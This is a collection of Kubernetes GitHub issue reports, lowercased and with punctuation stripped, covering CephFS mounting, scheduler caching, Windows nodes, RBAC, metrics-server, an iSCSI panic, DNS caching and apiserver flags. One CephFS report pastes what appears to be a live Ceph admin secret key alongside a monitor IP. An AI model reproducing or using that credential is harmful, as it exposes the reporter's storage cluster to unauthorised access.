goversion:\ go1.9\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1+a0ce1bc657\ , gitcommit:\ a0ce1bc\ , gittreestate:\ clean\ , builddate:\ 2018-05-16t21:26:57z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r running in a single node vagrant openshift environment with intel haswell processor  16 cores, 128gb ram \r - os  e.g. from /etc/os-release : fedora atomic 27\r - kernel  e.g.  uname -a  :\r    \r linux master.example.org 4.15.4-300.fc27.x86_64  1 smp mon feb 19 23:31:15 utc 2018 x86_64 x86_64 x86_64 gnu/linu\r    \r - install tools: openshift-ansible\r

i use cephfs directly by pod,my pod detail is as below:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: ceph-pod2-with-secret\r spec:\r   containers:\r   - name: ceph-ubuntu2\r     image: ubuntu:14.04\r     command:  \ tail\ , \ -f\ , \ /var/log/bootstrap.log\  \r     volumemounts:\r     - name: ceph-vol2\r       mountpath: /mnt/cephfs/data\r       readonly: false\r   volumes:\r   - name: ceph-vol2\r     cephfs:\r       monitors:\r       - 192.168.181.93:6789\r       user: admin\r       secretfile: \ /data/cephfs/admin.secret\ \r       readonly: false\r    \r my admin.secret file as below:\r aqdirehbxggjahaahtsezjlrqzgt9+4ygmkmyq==\r ! image  https://user-images.githubusercontent.com/13093730/42856275-1220cd00-8a77-11e8-86a9-e6ebf2330c9f.png \r \r \r kubectl describe pod ceph-pod2-with-secret\r    \r mounting arguments: -t ceph -o name=admin,secretfile=/data/cephfs/admin.secret 192.168.181.93:6789:/ /var/lib/kubelet/pods/488936de-8a2b-11e8-a44a-000c29cc5e76/volumes/kubernetes.io~cephfs/ceph-vol2\r output: mount: wrong fs type, bad option, bad superblock on 192.168.181.93:6789:/,\r        missing codepage or helper program, or other error\r \r        in some cases useful info is found in syslog - try\r        dmesg | tail or so.\r \r    \r my cephfs is well,the follow is the detail\r ! image  https://user-images.githubusercontent.com/13093730/42855080-6e1bc9bc-8a71-11e8-9ba7-c0abe9198517.png \r \r ceph info\r    \r  root@node93 ceph   ceph -s\r   cluster:\r     id:     20631ce0-4c16-4b5e-9f45-759943951a45\r     health: health_ok\r  \r   services:\r     mon: 3 daemons, quorum node93,node94,node95\r     mgr: node93 active , standbys: node94, node95\r     mds: test_fs-1/1/1 up  {0=node95=up:active}, 2 up:standby\r     osd: 3 osds: 3 up, 3 in\r     rgw: 3 daemons active\r  \r   data:\r     pools:   9 pools, 241 pgs\r     objects: 437 objects, 521 mb\r     usage:   4087 mb used, 299 gb / 303 gb avail\r     pgs:     241 active+clean\r  \r   io:\r     client:   0 b/s rd, 9206 b/s wr, 0 op/s rd, 1 op/s wr\r    \r kubernetes version info \r    \r  root@node128 cephfs   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r

 \r   what happened  :\r using a dp to bring a path into a container\r \r   what you expected to happen  :\r that i can controll what uid  user id  the ptah has inside the container\r \r   how to reproduce it  as minimally and precisely as possible   :\r take a path and bring it into a container using a dp\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r we create and delete  a large number of pods in our k8s cluster every day. every time after a few hours, some new pods stay in  pending  state and can't be created correctly. describing these pods shows  failedscheduling  due to  insufficient cpu , while describing nodes shows that there are still enough computing resources. after restarting the kube-scheduler, everything goes back to normal.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r create and delete a large number of pods in cluster continuously.\r \r   anything else we need to know?  :\r 1. we tried to debug this problem by adding some logs in kube-scheduler source code and found that the  requestedresource  of nodes in scheduler cache was much higher than actual  requestedresource  of nodes in the cluster.\r \r 2. we noticed many error messages in kube-scheduler's log as follows:\r      kube-scheduler 21493 : e1017 13:33:39.871893   21493 factory.go:166  unable to handle object in  factory.configfactory: cache.deletedfinalstateunknown \r this error will lead scheduler to fail to  deletepodfromcache  and eventually cause the above problem.\r \r 3. our k8s version is 1.8.13, i found this bug has been fixed in version 1.10  58712 , so we need to cherry pick that pr selectively.\r \r 4. some related issues:  33777  45237  37232\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.13\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : centos linux 7  core \r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r

---\r name: bug report\r about: report a bug encountered while operating kubernetes\r labels: kind/bug\r \r ---\r \r <!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r   what happened  : we are doing some poc on the hybrid kubernaties cluster  with windows and linux node  after creating the cluster with 2 windows and 2 linux  it went fine and we were able to run our windows container in the pods on the node after  45 hours the windows node start showing not ready status ,though cluster is still running . when we try to see the windows node with describe command it is showing like node  notready  status with \ kubelet stopped posting node status\  also we were not able to create new pods as they are going in to pending state.\r \r   what you expected to happen  : it should remain in ready satus as the other linux nodes \r \r   how to reproduce it  as minimally and precisely as possible   : \r we are currently following the windows doc step by step from creating the cluster to joining the windows node below is the link \r \r https://docs.microsoft.com/en-us/virtualization/windowscontainers/kubernetes/getting-started-kubernetes-windows\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14\r - cloud provider or hardware configuration: aws and ec2 xlarge\r - os  e.g:  cat /etc/os-release  : master and linux nodes ubuntu 16.04 and windows server 2019 \r - kernel  e.g.  uname -a  :\r - install tools: docker on all the nodes and master \r - network plugin and version  if this is a network-related bug : we are using flannel in vxlan mode for windows\r - others:\r \r

all of our e2e tests should rely on  google-api-go-client  https://github.com/google/google-api-go-client/  rather than  gcloud .  there are several todos of this sort in  cluster_upgrade.go .

as an example, apparmor will only be enabled on some host images, so to provide apparmor e2e tests we will need to prevent the tests from running against non-apparmor hosts.  i suggest we come up with a convention for labeling the tests  e.g. \  node:apparmor \  , and then list the labels in the jenkins properties for each host. finally, we split the ginkgo command to filter the test based on the labels.

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-serial/140/  run so broken it didn't make junit output!

kubectl get -w prints new changes from watch events in my terminal.\r    \r $ kc get po -w\r name                     ready     status              restarts   age\r nginx-2738591398-5f9kl   0/1       terminating         0          1m\r nginx-2738591398-xh8hv   0/1       containercreating   0          20s\r name                     ready     status        restarts   age\r nginx-2738591398-5f9kl   0/1       terminating   0          2m\r nginx-2738591398-5f9kl   0/1       terminating   0         2m\r    \r unfortunately the output above is not helpful at all. i am not sure if the terminating pod actually terminated. i would love for  -w  to work like the  watch  utility - the screen is refreshed with the new output instead of printing changes.\r \r http://linuxcommand.org/man_pages/watch1.html\r \r @fabianofranz @adohe @pwittrock for some reason i can't find any cli-related group to reference

is this a bug report or feature request?  : feature request\r \r  \r i would like to be able to set up an rbac role that allows listing secrets  and possibly access to the rest of the  metadata  , but not give access to the  data \r \r \r   rationale  \r we would like to run our clusters using readonly accounts, and only use higher privileged accounts if needed. so in general we want readonly access to everything but secrets.\r it would however be useful to see the existence of secrets  e.g. to see whether secrets for service accounts have been created, or secrets from kube-cert-manager \r \r

there's a problem b/c pods are created to run on all nodes, but run sequentially, effectively multiplying testing time

i think it's a missing feature, which could be seen as a bug, since it breaks commonly used k8s cluster architectures by making them unable to use the new aggregator api and forcing a less stable or secure cluster architecture by removing the separation of concerns:\r   \r   what happened  :\r when trying to use the  metrics-server  https://github.com/kubernetes-incubator/metrics-server/ , though it is launching just fine, it seems the api is trying to access a pod directly and thus unable to do so if you have a clean tiered setup where the controllers  api, cm, scheduler  & etcd might be hosted in a more isolated manner.\r \r the problem is, following a cluster architecture suggested in, for example,  kubernetes the hard way  https://github.com/kelseyhightower/kubernetes-the-hard-way/ , the separation between controller nodes & worker nodes means there is no kube-proxy & kubelet and thus no overlay network running on the controllers. i think this is a very sound way to separate concerns and keep the cluster more manageable and stable. \r but, it's then not possible for the aggregator api to reach the overlay network's ips and therefore the metrics-server's pods. everything else works perfectly...\r \r this is the current result of running the metrics-server:\r    \r oct 30 10:45:07 localhost docker/kube-apiserver 944 : e1030 14:45:07.828129       1 controller.go:111  loading openapi spec for \ v1beta1.metrics.k8s.io\  failed with: failed to retrieve openapi spec, http error: responsecode: 503, body: error: 'dial tcp 10.1.192.30:443: i/o timeout'\r    \r \r you can see the previous relevant discussion with @directxman12 starting  from this post  https://github.com/kubernetes-incubator/metrics-server/issues/22 issuecomment-336919779 .\r \r   what you expected to happen  :\r i'm expecting the aggregator api, residing within the kube-apiserver, to offer a way to access the metrics-server through some other mean, one that is compatible with all k8s architectures:\r either through a proxy  in kubelet? , or through some other option to expose a port with a secure tls access, similar to what is being used for other somewhat similar k8s parts  kubectl exec, prom metrics, etc. . \r \r   how to reproduce it  as minimally and precisely as possible   :\r installing a cluster, for example following kthw guide, where the controller nodes & etcd are, for security, stability & resource manageability reasons, not combined with the _n_ worker nodes that can be scaled as a common set of resources where none are a special pet.\r \r   anything else we need to know?  :\r the cluster is otherwise healthy & working with all the other kinds of resources with this cleanly separated architecture. this is the only missing part for hpa to work.\r \r   environment  :\r - kubernetes version: 1.8.2\r - metrics-server version: 0.2

when i create the kubernetes controller plane in ‘default’ namespace, it failed with this reason:\r \r > >  creating a namespace default for federation system components...error from server  alreadyexists : namespaces \ default\  already exists \r \r the reason i want to use the default namespace is here  ceph storageclass  https://github.com/kubernetes/examples/blob/master/staging/persistent-volume-provisioning/readme.md , where i want use ceph rbd as the backend of etcd, but the ceph rbd need a ceph-secret must exist at the namespace.\r         so, should the kubefed allow use exist namespace?\r \r

is this a bug report or feature request?  :\r \r  \r  \r currently,  kubectl describe node  only shows cpu and memory usage pod-wise on the node. what would be great is if, for each resource the amount remaining that can be allocated is shown, including the number of gpus remaining.\r \r perhaps a new section could be added to the output as follows:\r \r    \r free:\r  alpha.kubernetes.io/nvidia-gpu:  1\r  cpu:                             3\r  memory:                      5000000ki\r  pods:                            103\r

  /assign\r \r   what happened  :\r result: \r gce loadbalancer had outdated target pools because the service controller failed to call updateloadbalancer   for all services.\r \r why:\r the node sync loop has the potential to run before any services of type loadbalancer are synced at service controller startup. the node sync loop gets its list of services from a cache/map - not the service lister. however, this map is populated at service sync...\r since gce does not assert target pool membership in service sync  only node sync , the target pool was not updated until another node change is made.\r \r    \r 2018-01-23 11:36:41.000 utc  starting service controller\r 2018-01-23 11:36:54.000 utc  caches are synced for service account controller\r 2018-01-23 11:36:54.000 utc  detected change in list of current cluster nodes. new node set:  a b c \r 2018-01-23 11:36:54.000 utc  successfully updated 0 out of 0 load balancers to direct traffic to the updated set of nodes\r    \r \r acceptable fixes:\r 1. gce updates target pools during ensureloadbalancer  . this has already been completed in  58368.\r 2. node sync retrieves services from servicelister instead of cache. being done in  54569.\r \r we can cherrypick the first fix to earlier versions, but if other clouds are affected by this, the second fix would be better. \r \r \r \r \r \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r after joining a new ppc64le node to the k8s cluster, the kube-proxy daemonset fails on the new node.  \r \r   what you expected to happen  :\r it was expected that the kube-proxy ds would \ just work\  as it does when adding an amd64 node to the cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r set up an amd64 based k8s cluster, then join a ppc64le node  or any non-amd64 arch  to the cluster.  see the pod fail via 'kubectl -n kube-system get pods' because it's pulling the amd64 kube-proxy docker image instead of the ppc64le image.\r \r   anything else we need to know?  :\r the yaml for the daemonset specifies the image: gcr.io/google_containers/kube-proxy-amd64:<version>\r it would be preferable to have a manifest so that the image in the ds could be specified as gcr.io/google_containers/kube-proxy:<version> and could \ just work\  on any platform.\r \r see: https://github.com/estesp/manifest-tool\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.10.3\r \r - cloud provider or hardware configuration:\r self - cluster installed via kubeadm\r \r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r n/a\r - install tools:\r n/a\r - others:\r n/a

what happened  :\r \r scheduling of pods is incredibly slow. affecting all deployments in cluster, across namespaces.\r \r for example scaling  nginx-ingress-controller  from 0 to 1, has already taken 10mins+ without any pods starting up.\r \r probably unrelated, but before problem occured, i was experimenting with liveliness+readiness probes, configuration which has since been removed.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.3\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian jessie  kops \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  

what happened  :\r iscsi volume plugin panics before logging out from an iscsi target. the volume is unmounted and its device is deleted correctly just before, so kubernetes did not complain much, this panic is hidden in logs and nobody noticed it.\r \r one visible artifact:  iscsiadm -m session  still lists the session:\r \r    bash\r $ iscsiadm -m session\r tcp:  1  127.0.0.1:3260,1 iqn.2003-01.org.linux-iscsi.f21.x8664:sn.4b0aae584f7c  non-flash \r    \r \r the panic:\r \r    \r e0927 07:58:45.734294    4666 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/iscsi/127.0.0.1:3260:iqn.2003-01.org.linux-iscsi.f21.x8664:sn.4b0aae584f7c:0\\\ \  failed. no retries permitted until 2018-09-27 07:58:46.2342397 +0000 utc m=+362.550815929  durationbeforeretry 500ms .\r error: \ recovered from panic \\\ runtime error: invalid memory address or nil pointer dereference\\\ .  err=<nil>  call stack:\ \r /home/jsafrane/project/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\ \r /home/jsafrane/project/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:154\ \r /home/jsafrane/.gimme/versions/go1.11.linux.amd64/src/runtime/asm_amd64.s:522\ \r /home/jsafrane/.gimme/versions/go1.11.linux.amd64/src/runtime/panic.go:513\ \r /home/jsafrane/.gimme/versions/go1.11.linux.amd64/src/runtime/panic.go:82\ \r /home/jsafrane/.gimme/versions/go1.11.linux.amd64/src/runtime/signal_unix.go:390\ \r /home/jsafrane/project/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/volume/iscsi/iscsi_util.go:596\ \r /home/jsafrane/project/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/volume/iscsi/attacher.go:164\ \r /home/jsafrane/project/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/volume/util/operationexecutor/operation_generator.go:763\ \r /home/jsafrane/project/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/volume/util/nestedpendingoperations/nestedpendingoperations.go:143\ \r /home/jsafrane/.gimme/versions/go1.11.linux.amd64/src/runtime/asm_amd64.s:1333\ \ \r    \r  it's one long line, formatted for readability \r \r it panics here: https://github.com/kubernetes/kubernetes/blob/3fe21e5433988b9512e74f42bf07a036be84a263/pkg/volume/iscsi/iscsi_util.go l596\r \r  c.plugin  is nil, because  c  was initialized here  as  unmounter   and no plugin is passed to it:\r https://github.com/kubernetes/kubernetes/blob/3fe21e5433988b9512e74f42bf07a036be84a263/pkg/volume/iscsi/attacher.go l163\r \r   how to reproduce it  as minimally and precisely as possible   :\r run a pod with iscsi volume and delete it. yes, so simple :- .\r \r patch will follow shortly.\r \r cc @bswartz @redbaron @humblec \r   /assign\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r cluster dns keep returning nxdomain when svc/pod is recreated.\r \r   what you expected to happen  :\r cluster dns return cluster ip/pod id after svc/pod is running.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. keep on connect to svc/pod using domain\r 2. recreate svc/pod or pod\r 3. you will see service keeps unavailable until cache timeout \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux test 3.10.0-693.el7.x86_64  1 smp tue aug 22 21:09:27 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r  see  same issue and solution on coredns  https://github.com/coredns/coredns/issues/2327 \r <!-- do not edit below this line -->\r  

a similar  closed  issue in https://github.com/rackspace/gophercloud/issues/111 outlines this.  the getaddressbyname function in openstack.go does not account for pool names other than 'public' and 'private'  in private openstack implementations, the pool may have an arbitrary name containing either: \ os-ext-ip:type\ : \ fixed\  or \ os-ext-ip:type\ : \ floating\   which, in such an implementation, would indicate whether this were a private or public ip  respectively

it print the error line and then the whole usage currently, the usage is usually too long which cause the exact error message is one screen above.        kube-apiserver --service-cluster-ip-range flag needs an argument: --service-cluster-ip-range usage of kube-apiserver:       --address=127.0.0.1: deprecated: see --insecure-bind-address instead       --admission-control=\ alwaysadmit\ : ordered list of plug-ins to do admission control of resources into cluster. comma-delimited list of: resourcequota, limitranger, alwaysadmit, serviceaccount, namespacelifecycle, namespaceexists, namespaceautoprovision, denyexeconprivileged, alwaysdeny, securitycontextdeny       --admission-control-config-file=\ \ : file with admission control configuration.       --advertise-address=<nil>: the ip address on which to advertise the apiserver to members of the cluster. this address must be reachable by the rest of the cluster. if blank, the --bind-address will be used. if --bind-address is unspecified, the host's default interface will be used.       --allow-privileged=false: if true, allow privileged containers.       --alsologtostderr=false: log to standard error as well as files       --api-burst=200: api burst amount for the read only port       --api-prefix=\ /api\ : the prefix for api requests on the server. default '/api'.       --api-rate=10: api rate limit as qps for the read only port       --authorization-mode=\ alwaysallow\ : selects how to do authorization on the secure port.  one of: alwaysallow,alwaysdeny,abac       --authorization-policy-file=\ \ : file with authorization policy in csv format, used with --authorization-mode=abac, on the secure port.       --basic-auth-file=\ \ : if set, the file that will be used to admit requests to the secure port of the api server via http basic authentication.       --bind-address=0.0.0.0: the ip address on which to serve the --read-only-port and --secure-port ports. the associated interface s  must be reachable by the rest of the cluster, and by cli/web clients. if blank, all interfaces will be used  0.0.0.0 .       --cert-dir=\ /var/run/kubernetes\ : the directory where the tls certs are located  by default /var/run/kubernetes . if --tls-cert-file and --tls-private-key-file are provided, this flag will be ignored.       --client-ca-file=\ \ : if set, any request presenting a client certificate signed by one of the authorities in the client-ca-file is authenticated with an identity corresponding to the commonname of the client certificate.       --cloud-config=\ \ : the path to the cloud provider configuration file.  empty string for no configuration file.       --cloud-provider=\ \ : the provider for cloud services.  empty string for no provider.       --cluster-name=\ kubernetes\ : the instance prefix for the cluster       --cors-allowed-origins=  : list of allowed origins for cors, comma separated.  an allowed origin can be a regular expression to support subdomain matching.  if this list is empty cors will not be enabled.       --etcd-config=\ \ : the config file for the etcd client. mutually exclusive with -etcd-servers.       --etcd-prefix=\ /registry\ : the prefix for all resource paths in etcd.       --etcd-servers=  : list of etcd servers to watch  http://ip:port , comma separated. mutually exclusive with -etcd-config       --event-ttl=1h0m0s: amount of time to retain events. default 1 hour.       --external-hostname=\ \ : the hostname to use when generating externalized urls for this master  e.g. swagger api docs.        --httptest.serve=: if non-empty, httptest.newserver serves on this address and blocks       --insecure-bind-address=127.0.0.1: the ip address on which to serve the --insecure-port  set to 0.0.0.0 for all interfaces . defaults to localhost.       --insecure-port=8080: the port on which to serve unsecured, unauthenticated access. default 8080. it is assumed that firewall rules are set up such that this port is not reachable from outside of the cluster and that port 443 on the cluster's public address is proxied to this port. this is performed by nginx in the default setup.       --kubelet-certificate-authority=\ \ : path to a cert. file for the certificate authority.       --kubelet-client-certificate=\ \ : path to a client key file for tls.       --kubelet-client-key=\ \ : path to a client key file for tls.       --kubelet-https=true: use https for kubelet connections       --kubelet-port=10250: kubelet port       --kubelet-timeout=5s: timeout for kubelet operations       --log-backtrace-at=:0: when logging hits line file:n, emit a stack trace       --log-dir=: if non-empty, write log files in this directory       --log-flush-frequency=5s: maximum number of seconds between log flushes       --logtostderr=true: log to standard error instead of files       --long-running-request-regexp=\  /|^   watch|proxy  /|$ | logs|portforward|exec /?$ \ : a regular expression matching long running requests which should be excluded from maximum inflight request handling.       --master-service-namespace=\ default\ : the namespace from which the kubernetes master services should be injected into pods       --max-requests-inflight=400: the maximum number of requests in flight at a given time.  when the server exceeds this, it rejects requests.  zero for no limit.       --min-request-timeout=1800: an optional field indicating the minimum number of seconds a handler must keep a request open before timing it out. currently only honored by the watch request handler, which picks a randomized value above this number as the connection timeout, to spread out load.       --old-etcd-prefix=\ \ : the previous prefix for all resource paths in etcd, if any.       --port=8080: deprecated: see --insecure-port instead       --profiling=true: enable profiling via web interface host:port/debug/pprof/       --public-address-override=0.0.0.0: deprecated: see --bind-address instead       --runtime-config=: a set of key=value pairs that describe runtime configuration that may be passed to the apiserver. api/<version> key can be used to turn on/off specific api versions. api/all and api/legacy are special keys to control all and legacy api versions respectively.       --secure-port=6443: the port on which to serve https with authentication and authorization. if 0, don't serve https at all.       --service-account-key-file=\ \ : file containing pem-encoded x509 rsa private or public key, used to verify serviceaccount tokens. if unspecified, --tls-private-key-file is used.       --service-account-lookup=false: if true, validate serviceaccount tokens exist in etcd as part of authentication.       --service-cluster-ip-range=<nil>: a cidr notation ip range from which to assign service cluster ips. this must not overlap with any ip ranges assigned to nodes for pods.       --service-node-port-range=: a port range to reserve for services with nodeport visibility.  example: '30000-32767'.  inclusive at both ends of the range.       --ssh-keyfile=\ \ : if non-empty, use secure ssh proxy to the nodes, using this user keyfile       --ssh-user=\ \ : if non-empty, use secure ssh proxy to the nodes, using this user name       --stderrthreshold=2: logs at or above this threshold go to stderr       --storage-version=\ \ : the version to store resources with. defaults to server preferred       --tls-cert-file=\ \ : file containing x509 certificate for https.   ca cert, if any, concatenated after server cert . if https serving is enabled, and --tls-cert-file and --tls-private-key-file are not provided, a self-signed certificate and key are generated for the public address and saved to /var/run/kubernetes.       --tls-private-key-file=\ \ : file containing x509 private key matching --tls-cert-file.       --token-auth-file=\ \ : if set, the file that will be used to secure the secure port of the api server via token authentication.       --v=0: log level for v logs       --version=false: print version information and quit       --vmodule=: comma-separated list of pattern=n settings for file-filtered logging      how about to short it like this:      $ ./_output/local/bin/linux/amd64/kube-apiserver --service-cluster-ip-range flag needs an argument: --service-cluster-ip-range see './_output/local/bin/linux/amd64/kube-apiserver --help'.      if it's acceptable, i'd like to sent a pr.

this pr adds support for pod level cgroups and is the first step towards improving quality of service. \r i plan to use this issue to track progress of the work on adding support for qos cgroup hierarchy. \r     short introduction\r \r we will have have a unified cgroup hierarchy with pod level cgroups for better resource management. the cgroup hierarchy would have top level cgroups for the three quality of service qos  classes guaranteed, burstable and besteffort. pods  and their containers  belonging to a qos class will be grouped under these top level qos cgroups. and all containers in a pod would be nested under the pod cgroups.\r \r the features i intend to implement are covered in greater detail in the following proposal:  26751 \r     high level requirements\r - do not break existing users. ideally, there should be no changes to the kubernetes api semantics.\r - support multiple cgroup managers - systemd, cgroupfs, etc.\r     work items\r -  x  finalize and submit pod resource management proposal for the project  26751\r -  x  refactor qos package to be used globally throughout the codebase  27749  28093\r -  x  add interfaces for cgroupmanager and cgroupmanagerimpl which implements the cgroupmanager interface and creates, destroys/updates cgroups using the libcontainer cgroupfs driver.  27755  28566\r -  x  inject top level qos cgroup creation in the kubelet and add e2e tests to test that behaviour.  27853\r -  x  add podcontainermanagerimpl create and destroy methods which implements the respective podcontainermanager methods using a cgroupfs driver.  28017\r -  x  have docker manager create container cgroups under pod level cgroups. inject creation and deletion of pod cgroups into the pod workers. add e2e tests to test this behaviour.  29049\r -     add a nodecapacityprovider which would be used both by the kubelet and containermanager\r -  x  add support for updating policy for the pod and qos containers. add e2e tests to test this behaviour.  29087\r -     reconcilation loop that ensures pod cgroups on the cgroup mount are of pods which are known to be not terminated by the kubelet\r -     add top level scheduler check to ensure that pod can be scheduled on the node by estimating left over resources on the node.\r -  x  add a systemd implementation for the above cgroup manager interface\r -     log basic metrics of cgroup creation/ deletion\r     rollout plan\r - this feature will be opt-in in v1.5 and an opt-out in v1.6. \r - ideally we would want to have all the sub features to be completed for v1.5.\r - we would recommend users to drain their nodes and opt-in, before switching to v1.6, which will result in a no-op when v1.6 kubelet is rolled out.\r \r i will keep all my future pr's related to this proposal tied to this issue. \r cc @kubernetes/sig-node @dchen1107 @vishh @ronnielai @derekwaynecarr @random-liu @yujuhong \r

when i create a service with a loadbalancer in aws it creates it with cross-zone load balancing:    disabled and only makes it available in one zone of two in us-west-1 for example. not sure if i need to extend the yaml file to enable cross zone load balancing. ! skarmavbild 2016-07-08 kl 09 55 11  https://cloud.githubusercontent.com/assets/8994143/16680905/25bf098e-44f2-11e6-8470-6d3f2a87434e.png   ! skarmavbild 2016-07-08 kl 09 55 26  https://cloud.githubusercontent.com/assets/8994143/16680910/2f2ef9f2-44f2-11e6-9a3d-a401046b2e9e.png  @justinsb

this has been asked for more than once by petset dogfooders in the context of running dbaas or wan petset deployment. there are at least 2 ways to achieve it:  1. headless service  already a requirement for petset  of type={loadbalancer, nodeport}, resulting in each endpoint getting a public identity 2. petset controller creates a service per pet  public dns per pet would probably work just as well, but the advantage with ips is one can write a type=loadbalancer nginx backend.   @smarterclayton @thockin

hack/update-api-reference-docs.sh  filtered timestamp but  hack/verify-api-reference-docs.sh  doesn't. this causes a false positive happens.

could you add an issue on https://github.com/kubernetes/kubernetes/blob/master/docs/design/expansion.md to have an idea of when it may be released?  also wondering why not use the standard, also used by  docker-compose  of  ${var} ?

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-ingress-release-1.5/675/  run so broken it didn't make junit output!

